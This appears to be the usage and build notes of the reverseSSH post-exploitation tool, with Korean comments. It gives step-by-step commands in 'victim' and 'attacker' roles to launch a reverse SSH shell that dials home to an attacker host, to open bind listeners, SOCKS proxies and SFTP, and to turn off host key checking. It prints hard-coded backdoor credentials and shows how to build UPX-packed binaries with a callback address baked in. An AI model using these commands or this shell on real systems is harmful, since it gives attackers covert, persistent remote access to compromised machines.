# 완전한 대화형 셸 접근
$ ssh -p <RPORT> <RHOST>

# 간단한 명령어 실행
$ ssh -p <RPORT> <RHOST> whoami

# 완전한 파일 전송
$ sftp -P <RPORT> <RHOST>

# SOCKS 프록시 동적 포트 포워딩 (포트 9050)
$ ssh -p <RPORT> -D 9050 <RHOST>

# 피해자
victim$ ./reverse-ssh

# 공격자 (기본 비밀번호: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

# 공격자 (들어오는 요청을 받을 준비; 이미 OpenSSH 등 SSH 데몬이 실행 중이면 생략 가능)
# 참고: LPORT 8888은 들어오는 연결과 충돌합니다; 이 경우 피해자에서 `-b 8889` 또는 유사 플래그를 사용하십시오
attacker$ ./reverse-ssh -v -l -p <LPORT>

# 피해자
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# 또는 포트 22에서 비밀번호 인증을 사용하는 사용자 'kali'의 SSH 데몬이 있는 경우
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# 공격자 (기본 비밀번호: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# 또는 아래 SSH 구성을 사용하는 경우
attacker$ ssh target

Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

$ make

# 또는 추가로 upx로 압축된 바이너리를 만들려면
$ make compressed

$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ GOARCH=arm64 GOOS=linux make compressed